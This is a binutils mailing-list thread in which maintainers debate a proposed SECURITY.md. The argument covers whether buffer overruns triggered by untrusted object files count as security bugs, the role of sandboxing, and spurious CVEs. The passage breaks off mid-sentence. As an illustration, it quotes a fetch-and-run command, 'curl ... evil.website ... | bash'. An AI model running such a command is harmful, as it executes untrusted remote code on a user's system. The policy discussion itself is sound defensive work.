system privileges (eg setuid) to operate and we recommend that users do 
not use them from accounts where such privileges are automatically 
available.

R.

> ~~~
> 
>>>> The other area of concern is where the tools (particularly the 
>>>> linker) 'generate' code; so bugs in the opcodes the assembler 
>>>> generates (eg by not setting some don't care bits to something safe) 
>>>> or with code generated by the linker to glue functions together 
>>>> (relocation handling, PLTs, veneers, etc) would also count.
>>>
>>> Ack, I reckon this should be addressed by "corrupt output files from 
>>> valid trusted inputs".  If that's not clear enough, could you suggest 
>>> alternative phrasing that makes it clearer?
>>
>> I'm not sure corrupt is general enough.  Each instruction in the 
>> binary might be completely legal, but their sequencing could leave 
>> some vulnerabilities (think spectre, for example, but that's pretty 
>> extreme).
>>
>> Perhaps something like "... this means that the tools introduce a 
>> vulnerability in the output file that was not present in the input 
>> files being processed".  I think with that wording you probably don't 
>> even need the last sentence in the first paragraph.
> 
> Agreed, that sounds more precise.  I've incorporated that into the 
> paragraph above.  How does that sound overall?
> 
> Thanks,
> Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-13 06:25, Richard Earnshaw wrote:
> So mention of networks reminds me that you don't always need privilege 
> escalation to have a security compromise - simply transmitting a file to 
> a third party, if that wasn't intended, would be enough.

None of the tools can guarantee this with untrusted input when executing 
as a local user; this is why the last bit of sandboxing to analyze 
untrusted input comes in.

> So I would suggest:
> 
> A security bug is one that threatens the security of a system or 
> network, or might compromise the security of data stored on it.  In the 
> context of GNU Binutils there are two ways in which such bugs might 
> occur.  In the first, the programs themselves might be tricked into a 
> direct compromise of security.  In the second, the tools might introduce 

"Direct compromise of security" is essentially what we're trying to 
define more strongly to prevent spurious CVE assignments.

> a vulnerability in the generated output that was not already present in 
> the files used as input.
> 
> Note: none of the programs in the GNU Binutils suite need elevated 
> system privileges (eg setuid) to operate and we recommend that users do 
> not use them from accounts where such privileges are automatically 
> available.

We did have CVE-2021-20197, so it's not always setuid.

Thanks,
Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-13 01:16, Alan Modra wrote:
>> That's not a crossing of privilege boundaries;
> 
> I know.  Ah, I see.  You were saying that only the very narrow case of
> a privilege escalation will be considered a "security bug".  Fair
> enough I suppose, but that's close to the much simpler and more easily
> understood:
> 
> "binutils makes no claim to being secure, ergo there are no security
> bugs".

More like, "don't put Turing complete interfaces out on the internet 
without sandboxing for everyone to abuse, that's insecure" :)

I hope to put out something similar for gcc too, and pretty much every 
compiler/translator out there because they're not programs that one puts 
out on the internet and think that everything will be OK.  They must be 
sandboxed.  The overzealous CVE assignments are simply wasting 
everyone's time and distracting everyone from actual security issues.

Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Richard Earnshaw]

On 13/04/2023 12:53, Siddhesh Poyarekar wrote:
> On 2023-04-13 06:25, Richard Earnshaw wrote:
>> So mention of networks reminds me that you don't always need privilege 
>> escalation to have a security compromise - simply transmitting a file 
>> to a third party, if that wasn't intended, would be enough.
> 
> None of the tools can guarantee this with untrusted input when executing 
> as a local user; this is why the last bit of sandboxing to analyze 
> untrusted input comes in.
> 
>> So I would suggest:
>>
>> A security bug is one that threatens the security of a system or 
>> network, or might compromise the security of data stored on it.  In 
>> the context of GNU Binutils there are two ways in which such bugs 
>> might occur.  In the first, the programs themselves might be tricked 
>> into a direct compromise of security.  In the second, the tools might 
>> introduce 
> 
> "Direct compromise of security" is essentially what we're trying to 
> define more strongly to prevent spurious CVE assignments.

If a user can be tricked into opening a corrupt file (eg object file) 
and that causes a buffer overflow that's then used to send another file 
to a third party, you can't really pretend that's not a direct 
compromise of security.  We live in the real world and this sort of 
threat is real.

> 
>> a vulnerability in the generated output that was not already present 
>> in the files used as input.
>>
>> Note: none of the programs in the GNU Binutils suite need elevated 
>> system privileges (eg setuid) to operate and we recommend that users 
>> do not use them from accounts where such privileges are automatically 
>> available.
> 
> We did have CVE-2021-20197, so it's not always setuid.


Which is exactly the sort of scenario I was trying to exclude by this 
statement - don't run the tools with elevated privileges.

R.

> 
> Thanks,
> Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-13 08:37, Richard Earnshaw wrote:
>> "Direct compromise of security" is essentially what we're trying to 
>> define more strongly to prevent spurious CVE assignments.
> 
> If a user can be tricked into opening a corrupt file (eg object file) 
> and that causes a buffer overflow that's then used to send another file 
> to a third party, you can't really pretend that's not a direct 
> compromise of security.  We live in the real world and this sort of 
> threat is real.

I agree that this sort of threat is real, which is why we should 
recommend sandboxing to deal with corrupt/untrusted files.  There is no 
way that any program can be secured against untrusted input *after* it 
has been supplied to it, especially if the input is in a Turing complete 
form, like a program or a script.

This is why when one does a:

curl -s http://evil.website/malicious-script.sh | bash

it is a legitimate security issue, but it's not a vulnerability in bash, 
nor can it be secured in bash.  One must either do this in a sandbox to 
contain its impact in that sandbox, or do a secondary analysis (again in 
a sandbox) to determine that it is safe.

>>> a vulnerability in the generated output that was not already present 
>>> in the files used as input.
>>>
>>> Note: none of the programs in the GNU Binutils suite need elevated 
>>> system privileges (eg setuid) to operate and we recommend that users 
>>> do not use them from accounts where such privileges are automatically 
>>> available.
>>
>> We did have CVE-2021-20197, so it's not always setuid.
> 
> 
> Which is exactly the sort of scenario I was trying to exclude by this 
> statement - don't run the tools with elevated privileges.

I should have clarified that I agree, just that mentioning setuid might 
lull users into believing that this threat model is only related to setuid.

Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Richard Earnshaw]

On 13/04/2023 13:54, Siddhesh Poyarekar wrote:
> On 2023-04-13 08:37, Richard Earnshaw wrote:
>>> "Direct compromise of security" is essentially what we're trying to 
>>> define more strongly to prevent spurious CVE assignments.
>>
>> If a user can be tricked into opening a corrupt file (eg object file) 
>> and that causes a buffer overflow that's then used to send another 
>> file to a third party, you can't really pretend that's not a direct 
>> compromise of security.  We live in the real world and this sort of 
>> threat is real.
> 
> I agree that this sort of threat is real, which is why we should 
> recommend sandboxing to deal with corrupt/untrusted files.  There is no 
> way that any program can be secured against untrusted input *after* it 
> has been supplied to it, especially if the input is in a Turing complete 
> form, like a program or a script.
> 
> This is why when one does a:
> 
> curl -s http://evil.website/malicious-script.sh | bash
> 
> it is a legitimate security issue, but it's not a vulnerability in bash, 
> nor can it be secured in bash.  One must either do this in a sandbox to 
> contain its impact in that sandbox, or do a secondary analysis (again in 
> a sandbox) to determine that it is safe.

Right, but that's not the case I was concerned about.  My scenario is 
more like when you run something like

objdump foo.o

but reading foo.o causes corruption in the tools (eg by a buffer 
exploit) and ends up sending a confidential file to a third party.

> 
>>>> a vulnerability in the generated output that was not already present 
>>>> in the files used as input.
>>>>
>>>> Note: none of the programs in the GNU Binutils suite need elevated 
>>>> system privileges (eg setuid) to operate and we recommend that users 
>>>> do not use them from accounts where such privileges are 
>>>> automatically available.
>>>
>>> We did have CVE-2021-20197, so it's not always setuid.
>>
>>
>> Which is exactly the sort of scenario I was trying to exclude by this 
>> statement - don't run the tools with elevated privileges.
> 
> I should have clarified that I agree, just that mentioning setuid might 
> lull users into believing that this threat model is only related to setuid.

Which is why I put setuid in brackets and put 'eg' in front of it.  It's 
the most obvious example, but it's by no means the only case.

BTW, the real problem underlying that CVE is that the temp-files APIs 
are fundamentally weak by defaulting to a shared temporary directory. 
Quite frankly there's no reason why systems shouldn't be using per-user 
temporary directories these days which are private - who needs to share 
temporary files with other users?

R.

> 
> Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-13 09:11, Richard Earnshaw wrote:
>> This is why when one does a:
>>
>> curl -s http://evil.website/malicious-script.sh | bash
>>
>> it is a legitimate security issue, but it's not a vulnerability in 
>> bash, nor can it be secured in bash.  One must either do this in a 
>> sandbox to contain its impact in that sandbox, or do a secondary 
>> analysis (again in a sandbox) to determine that it is safe.
> 
> Right, but that's not the case I was concerned about.  My scenario is 
> more like when you run something like
> 
> objdump foo.o
> 
> but reading foo.o causes corruption in the tools (eg by a buffer 
> exploit) and ends up sending a confidential file to a third party.

It's not fundamentally different from, e.g.

bash malicious-script.sh

it just feels different because you elided the transport mechanism. 
Fundamentally, it is unsafe to do anything with untrusted content 
without sandboxing, so objdump is no different.  Sure, objdump is an 
analysis tool, so it should be able to analyze foo.o without crashing, 
but that's a robustness issue, not a security one.  The security aspect 
should be handled by a sandbox.

>>>>> a vulnerability in the generated output that was not already 
>>>>> present in the files used as input.
>>>>>
>>>>> Note: none of the programs in the GNU Binutils suite need elevated 
>>>>> system privileges (eg setuid) to operate and we recommend that 
>>>>> users do not use them from accounts where such privileges are 
>>>>> automatically available.
>>>>
>>>> We did have CVE-2021-20197, so it's not always setuid.
>>>
>>>
>>> Which is exactly the sort of scenario I was trying to exclude by this 
>>> statement - don't run the tools with elevated privileges.
>>
>> I should have clarified that I agree, just that mentioning setuid 
>> might lull users into believing that this threat model is only related 
>> to setuid.
> 
> Which is why I put setuid in brackets and put 'eg' in front of it.  It's 
> the most obvious example, but it's by no means the only case.

Fair enough.

> BTW, the real problem underlying that CVE is that the temp-files APIs 
> are fundamentally weak by defaulting to a shared temporary directory. 
> Quite frankly there's no reason why systems shouldn't be using per-user 
> temporary directories these days which are private - who needs to share 
> temporary files with other users?

That is essentially why the issue wasn't considered critical.

Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Richard Earnshaw]

On 13/04/2023 14:35, Siddhesh Poyarekar wrote:
> On 2023-04-13 09:11, Richard Earnshaw wrote:
>>> This is why when one does a:
>>>
>>> curl -s http://evil.website/malicious-script.sh | bash
>>>
>>> it is a legitimate security issue, but it's not a vulnerability in 
>>> bash, nor can it be secured in bash.  One must either do this in a 
>>> sandbox to contain its impact in that sandbox, or do a secondary 
>>> analysis (again in a sandbox) to determine that it is safe.
>>
>> Right, but that's not the case I was concerned about.  My scenario is 
>> more like when you run something like
>>
>> objdump foo.o
>>
>> but reading foo.o causes corruption in the tools (eg by a buffer 
>> exploit) and ends up sending a confidential file to a third party.
> 
> It's not fundamentally different from, e.g.
> 
> bash malicious-script.sh
> 
> it just feels different because you elided the transport mechanism. 
> Fundamentally, it is unsafe to do anything with untrusted content 
> without sandboxing, so objdump is no different.  Sure, objdump is an 
> analysis tool, so it should be able to analyze foo.o without crashing, 
> but that's a robustness issue, not a security one.  The security aspect 
> should be handled by a sandbox.

Sorry, I disagree.  Sending files to third parties is completely outside 
of the intended scope of objdump, so if it ends up being able to do so, 
that's a security issue.

R.

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-13 09:40, Richard Earnshaw wrote:
>> it just feels different because you elided the transport mechanism. 
>> Fundamentally, it is unsafe to do anything with untrusted content 
>> without sandboxing, so objdump is no different.  Sure, objdump is an 
>> analysis tool, so it should be able to analyze foo.o without crashing, 
>> but that's a robustness issue, not a security one.  The security 
>> aspect should be handled by a sandbox.
> 
> Sorry, I disagree.  Sending files to third parties is completely outside 
> of the intended scope of objdump, so if it ends up being able to do so, 
> that's a security issue.

You're mixing up scope.  Given the flexibility of ELF, it is possible to 
get any ELF interpreter to do pretty much anything[1], including sending 
files to arbitrary places, deleting parts of the filesystem the 
executing user has access to, etc.  It is the responsibility of the 
layer outside of objdump (i.e. the execution environment) to constrain this.

To secure objdump and other tools from such compromise, what you'd 
actually need is, e.g. a --isolate flag that does an unshare()/chroot() 
holding the open file descriptor and does a very constrained analysis of 
untrusted binaries.  That's one way we could control the execution 
environment to make sure none of it leaks.

Sid

[1] https://www.usenix.org/system/files/conference/woot13/woot13-shapiro.pdf

Re: RFC: Adding a SECURITY.md document to the Binutils

[Richard Earnshaw]

On 13/04/2023 14:56, Siddhesh Poyarekar wrote:
> On 2023-04-13 09:40, Richard Earnshaw wrote:
>>> it just feels different because you elided the transport mechanism. 
>>> Fundamentally, it is unsafe to do anything with untrusted content 
>>> without sandboxing, so objdump is no different.  Sure, objdump is an 
>>> analysis tool, so it should be able to analyze foo.o without 
>>> crashing, but that's a robustness issue, not a security one.  The 
>>> security aspect should be handled by a sandbox.
>>
>> Sorry, I disagree.  Sending files to third parties is completely 
>> outside of the intended scope of objdump, so if it ends up being able 
>> to do so, that's a security issue.
> 
> You're mixing up scope.  Given the flexibility of ELF, it is possible to 
> get any ELF interpreter to do pretty much anything[1], including sending 
> files to arbitrary places, deleting parts of the filesystem the 
> executing user has access to, etc.  It is the responsibility of the 
> layer outside of objdump (i.e. the execution environment) to constrain 
> this.
> 
> To secure objdump and other tools from such compromise, what you'd 
> actually need is, e.g. a --isolate flag that does an unshare()/chroot() 
> holding the open file descriptor and does a very constrained analysis of 
> untrusted binaries.  That's one way we could control the execution 
> environment to make sure none of it leaks.
> 
> Sid
> 
> [1] 
> https://www.usenix.org/system/files/conference/woot13/woot13-shapiro.pdf

No, whilst elf can be executed, objdump should never be doing that: it's 
a tool for examining a file, not running it.  You have to have a tool 
that can safely examine the contents of an elf file or you can never 
verify it for issues - opening it up in emacs to examine the contents is 
not the way to do that :)

But all that is beside the point.  The original case I gave was a 
/corrupt/ elf file that caused a buffer overrun in the objdump binary.

R.

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-13 10:50, Richard Earnshaw wrote:
> No, whilst elf can be executed, objdump should never be doing that: it's 
> a tool for examining a file, not running it.  You have to have a tool 
> that can safely examine the contents of an elf file or you can never 
> verify it for issues - opening it up in emacs to examine the contents is 
> not the way to do that :)

You can verify it for issues, in a sandbox.

> But all that is beside the point.  The original case I gave was a 
> /corrupt/ elf file that caused a buffer overrun in the objdump binary.

... and that's a robustness issue.  Any buffer overrun in any program 
could in theory be exploited to send out files.

Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Richard Earnshaw]

On 13/04/2023 16:02, Siddhesh Poyarekar wrote:
> On 2023-04-13 10:50, Richard Earnshaw wrote:
>> No, whilst elf can be executed, objdump should never be doing that: 
>> it's a tool for examining a file, not running it.  You have to have a 
>> tool that can safely examine the contents of an elf file or you can 
>> never verify it for issues - opening it up in emacs to examine the 
>> contents is not the way to do that :)
> 
> You can verify it for issues, in a sandbox.

Maybe.  But not always, it might not crash the program, but still lead 
to issues once taken outside of the sandbox.

> 
>> But all that is beside the point.  The original case I gave was a 
>> /corrupt/ elf file that caused a buffer overrun in the objdump binary.
> 
> ... and that's a robustness issue.  Any buffer overrun in any program 
> could in theory be exploited to send out files.
> 

So what's your point?  These /are/ vulnerabilities in the program and 
need to be considered security issues.

R.

Re: RFC: Adding a SECURITY.md document to the Binutils

[Paul Koning]

> On Apr 13, 2023, at 11:02 AM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote:
> 
> On 2023-04-13 10:50, Richard Earnshaw wrote:
>> No, whilst elf can be executed, objdump should never be doing that: it's a tool for examining a file, not running it.  You have to have a tool that can safely examine the contents of an elf file or you can never verify it for issues - opening it up in emacs to examine the contents is not the way to do that :)
> 
> You can verify it for issues, in a sandbox.
> 
>> But all that is beside the point.  The original case I gave was a /corrupt/ elf file that caused a buffer overrun in the objdump binary.
> 
> ... and that's a robustness issue.  Any buffer overrun in any program could in theory be exploited to send out files.

No.  Buffer overruns are generally recognized as security issues, precisely because they (often) can be used to produce arbitrary code execution exploits.

A buiffer overrun would be merely a robustness issue if it is guaranteed to cause nothing worse than a program abort.

	paul

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-13 11:08, Paul Koning wrote:
> 
> 
>> On Apr 13, 2023, at 11:02 AM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote:
>>
>> On 2023-04-13 10:50, Richard Earnshaw wrote:
>>> No, whilst elf can be executed, objdump should never be doing that: it's a tool for examining a file, not running it.  You have to have a tool that can safely examine the contents of an elf file or you can never verify it for issues - opening it up in emacs to examine the contents is not the way to do that :)
>>
>> You can verify it for issues, in a sandbox.
>>
>>> But all that is beside the point.  The original case I gave was a /corrupt/ elf file that caused a buffer overrun in the objdump binary.
>>
>> ... and that's a robustness issue.  Any buffer overrun in any program could in theory be exploited to send out files.
> 
> No.  Buffer overruns are generally recognized as security issues, precisely because they (often) can be used to produce arbitrary code execution exploits.

They're a common security exploit vector, but context matters.  If you 
have local access to a system, you can already execute arbitrary code; a 
buffer overrun itself is not going to help you do anything that you 
couldn't already do.  By letting in an untrusted file or by accepting 
inputs over a network, you're opening up a *new* vector to actually 
exploit the buffer overflow to do something you couldn't already do.

> A buiffer overrun would be merely a robustness issue if it is guaranteed to cause nothing worse than a program abort.

Context matters here too.  Over a network or under some circumstances 
with other kinds of untrusted input (such as downloaded files), a simple 
program abort will result in a DoS, which is a security issue.

Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Richard Earnshaw]

On 13/04/2023 16:08, Paul Koning wrote:
> 
> 
>> On Apr 13, 2023, at 11:02 AM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote:
>>
>> On 2023-04-13 10:50, Richard Earnshaw wrote:
>>> No, whilst elf can be executed, objdump should never be doing that: it's a tool for examining a file, not running it.  You have to have a tool that can safely examine the contents of an elf file or you can never verify it for issues - opening it up in emacs to examine the contents is not the way to do that :)
>>
>> You can verify it for issues, in a sandbox.
>>
>>> But all that is beside the point.  The original case I gave was a /corrupt/ elf file that caused a buffer overrun in the objdump binary.
>>
>> ... and that's a robustness issue.  Any buffer overrun in any program could in theory be exploited to send out files.
> 
> No.  Buffer overruns are generally recognized as security issues, precisely because they (often) can be used to produce arbitrary code execution exploits.
> 
> A buiffer overrun would be merely a robustness issue if it is guaranteed to cause nothing worse than a program abort.
> 
> 	paul
> 

Thank you Paul, you put that better than I did.

So lets try to come up with a more robust taxonomy...

A script file is a file that contains plain text that might be fully 
viewed in a traditional text editor.

For binutils there are three scenarios:

1) Tools that examine the contents of some non-script files and dump a 
textual representation of their contents (primarily to stdout).

2) Tools that process the contents of files and create new files based 
on them

3) Tools that might try to 'execute' the contents of a non-script file.

Binutils really only has tools in classes 1 and 2.

For scenario one, only files specified on the command line as output 
files should be written to (or otherwise modified).  Script files are 
not processed.  Tools that fit into this category include nm, objdump 
and readelf.

For scenario two, only files specified on the command line or in script 
files as output files should be written to (or otherwise modified). 
Tools here include 'as', 'ar', objcopy, ld.  Temporary files may be 
generated (in a secure manner) as part of the process of doing this.

For scenario three a non-script file might be executed, but I think that 
there are no tools in binutils that need to do this.

Given the above, a security issue would exist in a tool if it could be 
made to violate the constraints on the scenario specified for the tool.

R.

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-13 11:05, Richard Earnshaw wrote:
> On 13/04/2023 16:02, Siddhesh Poyarekar wrote:
>> On 2023-04-13 10:50, Richard Earnshaw wrote:
>>> No, whilst elf can be executed, objdump should never be doing that: 
>>> it's a tool for examining a file, not running it.  You have to have a 
>>> tool that can safely examine the contents of an elf file or you can 
>>> never verify it for issues - opening it up in emacs to examine the 
>>> contents is not the way to do that :)
>>
>> You can verify it for issues, in a sandbox.
> 
> Maybe.  But not always, it might not crash the program, but still lead 
> to issues once taken outside of the sandbox.

You don't analyze untrusted data outside of a sandbox.  Really, it's 
security 101.

>>> But all that is beside the point.  The original case I gave was a 
>>> /corrupt/ elf file that caused a buffer overrun in the objdump binary.
>>
>> ... and that's a robustness issue.  Any buffer overrun in any program 
>> could in theory be exploited to send out files.
>>
> 
> So what's your point?  These /are/ vulnerabilities in the program and 
> need to be considered security issues.

I already made my point; I agree that they are security issues but the 
security mitigation mechanism is in the environment, not the program.  I 
do not think it is in the interest of the binutils project to guarantee 
safety in analysis of untrusted programs without requisite protections 
of the environment.

Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Paul Koning]

> On Apr 13, 2023, at 12:02 PM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote:
> 
> On 2023-04-13 11:08, Paul Koning wrote:
>>> On Apr 13, 2023, at 11:02 AM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote:
>>> 
>>> On 2023-04-13 10:50, Richard Earnshaw wrote:
>>>> No, whilst elf can be executed, objdump should never be doing that: it's a tool for examining a file, not running it.  You have to have a tool that can safely examine the contents of an elf file or you can never verify it for issues - opening it up in emacs to examine the contents is not the way to do that :)
>>> 
>>> You can verify it for issues, in a sandbox.
>>> 
>>>> But all that is beside the point.  The original case I gave was a /corrupt/ elf file that caused a buffer overrun in the objdump binary.
>>> 
>>> ... and that's a robustness issue.  Any buffer overrun in any program could in theory be exploited to send out files.
>> No.  Buffer overruns are generally recognized as security issues, precisely because they (often) can be used to produce arbitrary code execution exploits.
> 
> They're a common security exploit vector, but context matters.  If you have local access to a system, you can already execute arbitrary code; a buffer overrun itself is not going to help you do anything that you couldn't already do.  By letting in an untrusted file or by accepting inputs over a network, you're opening up a *new* vector to actually exploit the buffer overflow to do something you couldn't already do.

Yes, but...

If someone sends me an executable file, and I execute it and suffer a virus, shame on me.  If someone sends me a C source file and I compile and link that BUT DO NOT EXECUTE the resulting executable, and I suffer a virus, shame on the tool.  

I don't expect the act of compiling or linking or objdumping to compromise my system's security, any more than I expect the act of editing a text file to do so.  The key point is expectation.  I'm reminded of a legal rule seen, for example, in "expectation of privacy": I should assume I can be seen when walking around town, but it is valid for me to assume I'm not seen when at home in my bathroom.  Similarly, I should assume my system can get attacked when I execute a program, but it is reasonable for me to assume no attack is possible when I run gcc or objdump (or hexdump or cat).

	paul

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-13 12:49, Paul Koning wrote:
> If someone sends me an executable file, and I execute it and suffer a virus, shame on me.  If someone sends me a C source file and I compile and link that BUT DO NOT EXECUTE the resulting executable, and I suffer a virus, shame on the tool.

If someone sends me a C source file and I compile and link it without 
inspecting it first, then definitely shame on me again.  Compilers and 
linkers assume *trusted* input.

> I don't expect the act of compiling or linking or objdumping to compromise my system's security, any more than I expect the act of editing a text file to do so.  The key point is expectation.  I'm reminded of a legal rule seen, for example, in "expectation of privacy": I should assume I can be seen when walking around town, but it is valid for me to assume I'm not seen when at home in my bathroom.  Similarly, I should assume my system can get attacked when I execute a program, but it is reasonable for me to assume no attack is possible when I run gcc or objdump (or hexdump or cat).
> 

It's valid for you to assume that you're not seen when you're at home in 
your bathroom.  However, if you take a random device someone gives you 
with you in your bathroom without actually checking what it does...

Anyway like I said to Richard, it's all well and good to say that 
binutils *should* be able to handle untrusted inputs.  The reality is 
that it is not in a position to make that claim and the only reasonable 
security position the project can take is to strongly recommend either 
validating inputs (to make them trusted) or running the tools in a sandbox.

Sid

Re: RFC: Adding a SECURITY.md document to the Binutils

[Paul Koning]

> On Apr 13, 2023, at 1:00 PM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote:
> 
> On 2023-04-13 12:49, Paul Koning wrote:
>> If someone sends me an executable file, and I execute it and suffer a virus, shame on me.  If someone sends me a C source file and I compile and link that BUT DO NOT EXECUTE the resulting executable, and I suffer a virus, shame on the tool.
> 
> If someone sends me a C source file and I compile and link it without inspecting it first, then definitely shame on me again.  Compilers and linkers assume *trusted* input.

That's news to me.

It is true that not all text is valid C, and some text has "undefined" behavior.  But "undefined" is a property of the resulting executable program, NOT of the act of compiling it.  I have never before seen anyone suggest that submitting a bad program to a compiler could reasonably be expected to result in that compiler attacking the security of your system, or that if it did so it wouldn't be a security bug in that compiler.

>> I don't expect the act of compiling or linking or objdumping to compromise my system's security, any more than I expect the act of editing a text file to do so.  The key point is expectation.  I'm reminded of a legal rule seen, for example, in "expectation of privacy": I should assume I can be seen when walking around town, but it is valid for me to assume I'm not seen when at home in my bathroom.  Similarly, I should assume my system can get attacked when I execute a program, but it is reasonable for me to assume no attack is possible when I run gcc or objdump (or hexdump or cat).
> 
> It's valid for you to assume that you're not seen when you're at home in your bathroom.  However, if you take a random device someone gives you with you in your bathroom without actually checking what it does...
> 
> Anyway like I said to Richard, it's all well and good to say that binutils *should* be able to handle untrusted inputs.  The reality is that it is not in a position to make that claim and the only reasonable security position the project can take is to strongly recommend either validating inputs (to make them trusted) or running the tools in a sandbox.

So what you're saying is that, at least in your view, the quality of binutils is so low that it is unlikely to meet the reasonable expectation I voiced.  And furthermore, that it is in such bad shape that it's unreasonable to consider fixing it so it does meet those reasonable expectations.

I rather doubt either assumption is true.  But if it is, we should say so (or, arguably, discontinue the project).

	paul

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-13 13:05, Paul Koning wrote:
> 
> 
>> On Apr 13, 2023, at 1:00 PM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote:
>>
>> On 2023-04-13 12:49, Paul Koning wrote:
>>> If someone sends me an executable file, and I execute it and suffer a virus, shame on me.  If someone sends me a C source file and I compile and link that BUT DO NOT EXECUTE the resulting executable, and I suffer a virus, shame on the tool.
>>
>> If someone sends me a C source file and I compile and link it without inspecting it first, then definitely shame on me again.  Compilers and linkers assume *trusted* input.
> 
> That's news to me.
> 
> It is true that not all text is valid C, and some text has "undefined" behavior.  But "undefined" is a property of the resulting executable program, NOT of the act of compiling it.  I have never before seen anyone suggest that submitting a bad program to a compiler could reasonably be expected to result in that compiler attacking the security of your system, or that if it did so it wouldn't be a security bug in that compiler.

I haven't seen anyone suggest (and have seen many balk at) the idea of 
crashes/buffer overruns in compilers being considered security issues. 
Only lately (i.e. the last few years) has there been a spate of fuzzed 
reports that security researchers file CVEs for to increase their "kill" 
count.  When we have the energy to do so, we dispute them and have them 
rejected, but many just go through, wasting days and weeks of time 
across the industry to respin builds and release updates.

The only accepted security implication for compilers is when it takes in 
valid code and spews out a program that invoke undefined behaviour.

>>> I don't expect the act of compiling or linking or objdumping to compromise my system's security, any more than I expect the act of editing a text file to do so.  The key point is expectation.  I'm reminded of a legal rule seen, for example, in "expectation of privacy": I should assume I can be seen when walking around town, but it is valid for me to assume I'm not seen when at home in my bathroom.  Similarly, I should assume my system can get attacked when I execute a program, but it is reasonable for me to assume no attack is possible when I run gcc or objdump (or hexdump or cat).
>>
>> It's valid for you to assume that you're not seen when you're at home in your bathroom.  However, if you take a random device someone gives you with you in your bathroom without actually checking what it does...
>>
>> Anyway like I said to Richard, it's all well and good to say that binutils *should* be able to handle untrusted inputs.  The reality is that it is not in a position to make that claim and the only reasonable security position the project can take is to strongly recommend either validating inputs (to make them trusted) or running the tools in a sandbox.
> 
> So what you're saying is that, at least in your view, the quality of binutils is so low that it is unlikely to meet the reasonable expectation I voiced.  And furthermore, that it is in such bad shape that it's unreasonable to consider fixing it so it does meet those reasonable expectations.
> 
> I rather doubt either assumption is true.  But if it is, we should say so (or, arguably, discontinue the project).

This is not the first time we've had this conversation[1] and there is a 
lot more nuance to this than "so you think binutils sux and should die". 
  There are practical issues and design concerns that cannot be 
immediately addressed.  Instead of giving the false impression of 
security, it makes more sense to make clear what the state of the 
project is and how users could safely consume it.

Sid

[1] 
https://inbox.sourceware.org/binutils/6f99c92f-1986-b8f0-0854-868598421dda@gotplt.org/t/

Re: RFC: Adding a SECURITY.md document to the Binutils

[Paul Koning]

> On Apr 13, 2023, at 1:29 PM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote:
> 
> On 2023-04-13 13:05, Paul Koning wrote:
>>> On Apr 13, 2023, at 1:00 PM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote:
>>> 
>>> On 2023-04-13 12:49, Paul Koning wrote:
>>>> If someone sends me an executable file, and I execute it and suffer a virus, shame on me.  If someone sends me a C source file and I compile and link that BUT DO NOT EXECUTE the resulting executable, and I suffer a virus, shame on the tool.
>>> 
>>> If someone sends me a C source file and I compile and link it without inspecting it first, then definitely shame on me again.  Compilers and linkers assume *trusted* input.
>> That's news to me.
>> It is true that not all text is valid C, and some text has "undefined" behavior.  But "undefined" is a property of the resulting executable program, NOT of the act of compiling it.  I have never before seen anyone suggest that submitting a bad program to a compiler could reasonably be expected to result in that compiler attacking the security of your system, or that if it did so it wouldn't be a security bug in that compiler.
> 
> I haven't seen anyone suggest (and have seen many balk at) the idea of crashes/buffer overruns in compilers being considered security issues. 

Not all buffer overruns cause security issues.  Those that crash the program with the buffer overrun are not security issues (unless you're considering the category of Denial of Service attacks).  But a buffer overrun that enables the execution of arbitrary code IS a security issue.

Who do you know to "balk at" that principle?

This is no different from how one analyzes buffer overruns in networking applications.  If the consequence of the error is nothing worse than an abort of that application, it's DoS and would typically not be considered serious.  If it allows code to be inserted and executed in the context of the application, then that is serious and is a security defect.  The same goes for any other application whose specification says that it processes -- but does not execute -- its inputs.

	paul

Re: RFC: Adding a SECURITY.md document to the Binutils

[Siddhesh Poyarekar]

On 2023-04-13 13:37, Paul Koning wrote:
>> I haven't seen anyone suggest (and have seen many balk at) the idea of crashes/buffer overruns in compilers being considered security issues.
> 
> Not all buffer overruns cause security issues.  Those that crash the program with the buffer overrun are not security issues (unless you're considering the category of Denial of Service attacks).  But a buffer overrun that enables the execution of arbitrary code IS a security issue.
> 
> Who do you know to "balk at" that principle?

I've discussed the idea of compiler bugs in general being considered 
security issues, not specifically about arbitrary code execution through 
a buffer overflow because of untrusted/crafted inputs.  I do in fact 
intend to write up a SECURITY.md for gcc, so perhaps it will become an 
opportunity to formalize this.

For binutils we need more people to pitch in to decide a direction since 
we don't have agreement yet.

> This is no different from how one analyzes buffer overruns in networking applications.  If the consequence of the error is nothing worse than an abort of that application, it's DoS and would typically not be considered serious.  If it allows code to be inserted and executed in the context of the application, then that is serious and is a security defect.  The same goes for any other application whose specification says that it processes -- but does not execute -- its inputs.

The seriousness of the DoS depends on the triviality of an attack. 
There can, for example, be Important DoS if it's trivial to invoke and 
is widely possible in default configurations.

Also, arbitrary code execution does not require code to be inserted; 
it's common to use ROPs/JOPs in existing code to achieve that.  This is 
also why memory safety bugs that don't always immediately result in a 
